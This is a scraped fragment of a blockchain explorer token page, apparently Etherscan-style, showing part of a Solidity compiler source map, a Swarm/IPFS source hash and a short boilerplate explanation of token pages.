-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4933:128::-;5000:9;;;5021:11;;;5018:37;;;5035:18;;:::i;5066:348::-;5268:2;5250:21;;;5307:2;5287:18;;;5280:30;5346:26;5341:2;5326:18;;5319:54;5405:2;5390:18;;5066:348::o;7018:251::-;7088:6;7141:2;7129:9;7120:7;7116:23;7112:32;7109:52;;;7157:1;7154;7147:12;7109:52;7189:9;7183:16;7208:31;7233:5;7208:31;:::i;8504:184::-;8574:6;8627:2;8615:9;8606:7;8602:23;8598:32;8595:52;;;8643:1;8640;8633:12;8595:52;-1:-1:-1;8666:16:1;;8504:184;-1:-1:-1;8504:184:1:o;8693:125::-;8758:9;;;8779:10;;;8776:36;;;8792:18;;:::i;9227:135::-;9266:3;9287:17;;;9284:43;;9307:18;;:::i;:::-;-1:-1:-1;9354:1:1;9343:13;;9227:135::o;9979:306::-;10067:6;10075;10083;10136:2;10124:9;10115:7;10111:23;10107:32;10104:52;;;10152:1;10149;10142:12;10104:52;10181:9;10175:16;10165:26;;10231:2;10220:9;10216:18;10210:25;10200:35;;10275:2;10264:9;10260:18;10254:25;10244:35;;9979:306;;;;;:::o;10290:217::-;10330:1;10356;10346:132;;10400:10;10395:3;10391:20;10388:1;10381:31;10435:4;10432:1;10425:15;10463:4;10460:1;10453:15;10346:132;-1:-1:-1;10492:9:1;;10290:217::o;10644:127::-;10705:10;10700:3;10696:20;10693:1;10686:31;10736:4;10733:1;10726:15;10760:4;10757:1;10750:15;10776:980;11038:4;11086:3;11075:9;11071:19;11117:6;11106:9;11099:25;11143:2;11181:6;11176:2;11165:9;11161:18;11154:34;11224:3;11219:2;11208:9;11204:18;11197:31;11248:6;11283;11277:13;11314:6;11306;11299:22;11352:3;11341:9;11337:19;11330:26;;11391:2;11383:6;11379:15;11365:29;;11412:1;11422:195;11436:6;11433:1;11430:13;11422:195;;;11501:13;;-1:-1:-1;;;;;11497:39:1;11485:52;;11592:15;;;;11557:12;;;;11533:1;11451:9;11422:195;;;-1:-1:-1;;;;;;;11673:32:1;;;;11668:2;11653:18;;11646:60;-1:-1:-1;;;11737:3:1;11722:19;11715:35;11634:3;10776:980;-1:-1:-1;;;10776:980:1:o

Swarm Source

ipfs://37e214bfd603cf68e4a34d75925ff076e97383b10881c393773eee3849687d69
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.